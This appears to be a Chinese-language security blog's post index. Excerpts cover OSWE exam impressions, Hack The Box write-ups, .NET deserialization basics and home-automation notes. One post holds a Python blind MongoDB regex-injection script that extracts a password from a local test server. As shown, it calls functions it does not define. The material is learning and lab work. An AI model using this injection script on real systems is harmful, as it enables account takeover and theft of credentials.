如果我說 OSWE 很好考會不會有人想打我

前陣子報名了 OSWE / AWAE 的課程,在空閒的時間學習,終於在一個半月的時間內考到了 OSWE 證照,趁還沒有忘記之前來寫一下心得文。 前言 我覺得要提到資安證照,不得不提到 Paul Jerimy Media 上的 Security Certification Roadmap。 以目前 2022 年 8 月最新版,該列表上的資安證照總共有 460 張,目前我持有的基本上都偏向右邊的 Security Operations 部分。 包含了本次的 OSWE、OSCP 以及不予置評的 LPT 及 CPENT,ㄏㄏ。 正常來說在這張表上,越上面的代表專業程度越高,也越難。但有許多證照雖然在同樣的領域,因為考試方向不同,如大多數都是選擇題或暴力破解之類的 (我就不說是哪張了 ……),所以我認為難度也僅供參考,不建議拿來做直接的比較。 目前以紅隊、滲透檢測相關的入門證照,大家最推的通常都是 OSCP, OSCP 在 Offensive Security 中,課程代號為 PEN-200,屬於 200 系列的課程。 OSWE 則是 WEB-300,屬於更高階的課,以同一間公司而言,理論上也會更困難一點? 我個人的背景是,去年年底取得 OSCP 證照;而大學及研究所時期都有玩過一些 CTF,雖然 CTF 的各領域都有基本的涉略,但最熟悉的方向是以 Web 網頁安全為主。 AWAE 課程內容 這邊由於課程規定的部分,我不方便說明太多,不過可以依照官網有提供的內容來進行介紹。 Cross-Origin Resource Sharing (CORS) with CSRF and RCE JavaScript Prototype Pollution Advanced Server Side Request Forgery Web security tools and methodologies Source code analysis Persistent cross-site scripting Session hijacking .NET deserialization Remote code execution Blind SQL injections Data exfiltration Bypassing file upload restrictions and file extension filters PHP type juggling with loose comparisons PostgreSQL Extension and User Defined Functions Bypassing REGEX restrictions Magic hashes Bypassing character restrictions UDF reverse shells PostgreSQL large objects DOM-based cross site scripting (black box) Server side template injection Weak random token generation XML external entity injection RCE via database functions OS command injection via WebSockets (black box) 其實從這邊的項目可以看出來,對於一個常打 CTF 的 Web 🐱 而言,這些問題應該都不陌生,而且我個人認為都偏比較老的洞,並沒有那麼現代 CTF 那些噁心的東西,當然想要用各種噁心的手法,如遇到 LFI 使用 Session Upload Progress 來解應該還是可行。 ...

2022-11-27 · 4 分鐘 · steven

MongoDB noSQLInjection with Binary Search

MongoDB 上面的 Injection 通常都可以直接使用 [$ne] 來做萬用解,但如果我們的目標不只是登入,而是想要 query 到指定目標的話,參考 HackTricks 可以看出。在 Blind 的情境底下,可以透過 regex 的方法來進行解答。 不過 HackTricks 或是 PayloadsAllTheThings 中,使用的方法通常都是直接對 strings 進行爆破。 這會出現耗時,以及遇到 Regex 保留字時的問題。因此,我透過 regex 的 unicode 功能,寫了一款類似於傳統 SQL injection 中,透過 Binary Search 的方法來取得密碼,廢話不多說,直接上 Code。 使用上來看,只需要變更 query 函數中的條件,即可。 import requests import urllib.parse def query(q): res = requests.get(r"http://127.0.0.1:8791/?user=admin&pass[$regex]=" + q) if "Success" in res.text: return True else: return False def binary_search(left, right, query_s, query_f, v=1): while right - left > 3: # 4: guess = int(left+(right-left)/2) old_left = left left = guess command = urllib.parse.quote(r"^.{%s}[\x{%s}-\x{%s}].{%s}" % (index, f"{hex(int(left))[2:]:0>4}", f"{hex(int(right))[2:]:0>4}", length-index-1)) if query(command): left = guess else: right = guess left = old_left print(f"{left} ~ {right}" , end="\r") for i in range(left,right+1): command = urllib.parse.quote(r"^.{%s}[\x{%s}].{%s}" % (index, f"{hex(int(i))[2:]:0>4}", length-index-1)) # print(command) if query(command): print(f"[!] Answer: {i} ({chr(i)})") return i length = get_len() print(f"String Length = {length}") r = [] for i in range(length): r.append(chr(binary_search_content(index=i,length=length))) print(''.join(r))

2022-11-15 · 1 分鐘 · steven

利用 Home Assistant + ESP32 透過 Siri 開門

家裡的一個鐵捲門遙控器按鈕接觸不良,所以我買了一個新的,而舊的就可以直接拆下來玩了! 手邊剛好有一套 4 路的繼電器模組,因此我就做了一點點改裝,達成透過手機遙控鐵門的開關! 硬體 硬體部份其實滿簡單的,開發版我採用了 ESP32S ,多了一個 S 最大的優點是,他的 GPIO 輸出為 5V,使用起來會比普通 ESP32 的 3.3V 方便很多。 把遙控器拆開後,透過電表量一下開關的接點,並直接把線焊出來接上繼電器即可,這邊沒有太大的技術難度。 MQTT Server ESP32 透過接收 MQTT 是最簡單的方法,我直接把 MQTT Server 架在我的 GCP 上,使用 Eclipse Mosquitto 的 Docker Compose docker-compose.yml 由於我用不到 9001 Port,所以就將它著解掉 version: "3" services: mosquitto: image: eclipse-mosquitto volumes: - ./:/mosquitto/:rw ports: - 1883:1883 # - 9001:9001 config/mosquitto.conf 則開啟了 password_file 的功能 persistence true persistence_location /mosquitto/data/ log_dest file /mosquitto/log/mosquitto.log listener 1883 socket_domain ipv4 ## Authentication ## # allow_anonymous false password_file /mosquitto/config/password.txt 接下來只需要透過 README.md 上面的方式設定帳密即可 ...

2022-10-17 · 4 分鐘 · steven

Arkham (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/179 先講結論,這是我最近打過 HTB 最硬的一題 …… ,這絕對不是 Medium 的機器,他難度絕對絕對有 Hard。我覺得這一題對於初學者,甚至是剛拿到 OSCP 的人應該都會覺得打得很痛苦 QWQ 這一題題目包含的知識點: LUKS 解密 Tomcat Config 解析 HMAC 簽章 DES 加解密 Java Viewstate 反序列化 Bypass Windows Defender Microsoft Outlook email folder (ost) 解析 Base64 圖片還原 Invoke-command 切換使用者 Bypass CLM CMSTP UAC Bypass SMB 有開 SMB 所以先匿名登上去 ~/HTB/Arkham/new ᐅ smbclient.py 10.129.106.199 Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation Type help for list of commands # login meow Password: [*] GUEST Session Granted 發現可以存取 BatShare,裡面有一個 appserver.zip,載下來分析 ...

2022-10-15 · 15 分鐘 · steven

Docker Run CRLF 小雷

在使用 Docker 時,偶爾會順手帶上 -it (interactive + Allocate a pseudo-TTY),但我卻因此踩到了一個小雷。 在 alpine 底下,如果加上了 -it ,則 \x0a 會被 Replace 成 \x0d\x0a。所以如果程式的輸出結果是 binary 的話,會因此壞掉 QQ

2022-10-13 · 1 分鐘 · steven

Json.Net Unserialize (Hack The Box Writeup)

URL : https://app.hackthebox.com/machines/210 這篇文會從黑箱跟白箱兩個角度來試著了解漏洞的成因與 Exploit 方法,省略一些掃描的過程,直接進入滲透步驟。 Black Box http://10.129.227.191/login.html 是一個登入介面,透過弱密碼 admin / admin 可以進入後台。 觀察登入狀態,可以看出我們是 Post 一個 Json 來進行登入,而登入後會幫我們 Set 一組 Cookie,從 Response 的 Header 可以看出這是一個 IIS 的 Server。 這邊可以猜測說,登入後他應該會把 Json 解析或反序列化到某個物件之中,那我們可以試著看看,如果我們給他一個壞掉的 Json 會發生什麼事,例如下圖給他一個最後缺少 " 的 Json,發現他會噴錯。 at DemoApp.Data.UsuariosData.GetMd5Hash(String input) at DemoApp.Data.UsuariosData.Autenticar(String usuario, String password) at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24 at lambda_method(Closure , Object , Object[] ) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.b__2(Object instance, Object[] methodParameters) at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken) --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ApiControllerActionInvoker.d__1.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Controllers.ActionFilterResult.d__5.MoveNext() --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task) at System.Web.Http.Dispatcher.HttpControllerDispatcher.d__15.MoveNext()"% 然而,這些錯誤並沒有太大的幫助 QQ,接下來我們觀察正確的登入後,他吐出來的餅乾是啥。很直覺可以知道他是一個 base64 ...

2022-10-11 · 5 分鐘 · steven

Synology NAS HEIC to JPG

iPhone 透過 Synology 的 Photo Station 備份,預設會存 HEIC,除非到 iPhone 相機的設定部分修改成存 JPG。 但 HEIC 在 Windows 平台上非常不友善 QQ。 目前貌似沒有看到 S 牌有提供什麼自動轉檔的程式,所以短期可能只能自己處理。 在 Linux 平台上,可以使用 GitHub - shellbro/dockerfile-heif-convert 這套 Docker Image 來處理。 我們觀察這個 Docker 執行的 Script 可以發現,convert-all 其實就是一個 for 迴圈去枚舉 *.heic,不過 iPhone 預設的副檔名是大寫的 *.HEIC,所以我們有兩種解法。 1. 修改現有的附檔名, 2. 修改這個 Script。 因為懶得重 Build Docker image 我選擇了 1 的方法。 腳本如下,先 ssh 上 NAS,並 cd 到準備轉檔的資料夾即可 mkdir heic for a in *.HEIC; do mv -- "$a" "$(pwd)/heic/${a%.HEIC}.heic"; done sudo docker run --rm -u "$(id -u):$(id -g)" -v $(pwd)/heic:/input -v $(pwd):/output shellbro/heif-convert 如果遇到權限問題,可以自己 hard code uid 跟 gid 即可,可以直接 cat /etc/passwd | 取得 ID

2022-09-17 · 1 分鐘 · steven

.Net 反序列化攻擊 101

.Net 反序列化一直是一個很熱門的話題,但是因為背後通常都是 Windows,搭建題目不便的原因,導致 CTF 通常很少出現。 這邊會用一個很簡單的例子,從 .Net 麻瓜的 Hello World 開始介紹。 因為不想用肥肥 CS,因此使用 csc 進行編譯,需要先把 C:\Windows\Microsoft.NET\Framework\v4.0.30319\ 加到 path 0x1 Hello World 身為一個不熟 C# 的人,凡事從 Hello World 開始 using System; namespace helloworld{ class Program{ static void Main(string[] args){ Console.WriteLine("Hello World!"); } } } 編譯 csc /reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll;C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\WindowsBase.dll /t:exe /out:hello.exe hello.cs 可以順利的 Hello World! 0x2 Hello Class C# 中,Class 的寫法是這樣 using System; namespace hello_class{ class Program{ static void Main(string[] args){ Meow myMeow = new Meow(); myMeow.MeowName = "Steven"; myMeow.Meowww(); } } public class Meow{ public string MeowName{ get; set; } public void Meowww(){ Console.WriteLine("Hello " + MeowName + " meow meow!"); } } } 編譯 ...

2022-09-13 · 3 分鐘 · steven

利用 Lima 在 M1 執行 x86 的 Ubuntu

超簡單就可以直接在 M1 上有類似 WSL 體驗的 x86_64 Ubuntu , Lima 是透過 QEMU 進行執行的,所以嚴格來說他是一種虛擬機,不太像 WSL 是微軟大大的黑魔法。 安裝 brew install lima 準備一個 Yaml,這邊我是直接抄官方的 Example,並修改,增加第一行的 arch,根據官方文件表示,增加 arch 就能直接指定 CPU 型態 arch: "x86_64" images: # Try to use release-yyyyMMdd image if available. Note that release-yyyyMMdd will be removed after several months. - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" digest: "sha256:86481acb9dbd62e3e93b49eb19a40c66c8aa07f07eff10af20ddf355a317e29f" - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" digest: "sha256:e1ce033239f0038dca5ef09e582762ba0d0dfdedc1d329bc51bb0e9f5057af9d" # Fallback to the latest release image. # Hint: run `limactl prune` to invalidate the cache - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" mounts: - location: "~" - location: "/tmp/lima" writable: true Build 環境 這邊的 ./ubuntu.yaml 就是前面準備的內容,而 –name 則是帶之後要給他的名字 ...

2022-08-21 · 1 分鐘 · steven

SSH Tunnel (Port Forwarding) 速記法

好像好久沒有更新了,回來刷一下存在感。 最近一直遇到需要打 ssh tunnel 的情境,然而,網路上那些圖解的 SSH Tunnel 對我來說是越看越ㄇㄤ QQ,可能我對於圖像的理解有一點點小障礙吧,以下是我自己對於 SSH Local, Remote 以及 Dynamic Forwarding 的速記法。 首先是一個定則就是 目標:原始IP:原始Port Local Forwarding 顧名思義, Local 就是要把遠端的東西「打回我們 Local」。 舉例來說,遠端機器有開了一個 3000 Port 在 127.0.0.1,我們希望在我們本機上面把它接出來,接到我們家的 5000 Port,那麼需要這樣下。 ssh -L 5000:127.0.0.1:3000 user@host -L 是打回我們自己的Host, 127.0.0.1:3000 是遠端的 IP 跟 Port 另外假設,遠端的機器摸得到 192.168.87.8:80 ,而我們機器也希望可以摸到的話,可以輸入以下指令,透過 host 機器把 192.168.87.8:80 轉到我們 Local 的 127.0.0.1:9487。 ssh -L 9487:192.168.87.8:80 user@host Remote Forwarding 顧名思義, Remote 就是要把我們家的東西「送過去 Remote」。 假設我們在本地開了一個 127.0.0.1:7414 , 而我們希望把這個東西給轉去遠端的機器的 127.0.0.1:9453 上,則可以使用 ssh -R 9453:127.0.0.1:7414 user@host 這邊的 127.0.0.1:7414 是我們機器上的 IP 跟 Port,而 9453 則是遠端機器的 Port,也就是打過去的目標。 ...

2022-08-11 · 1 分鐘 · steven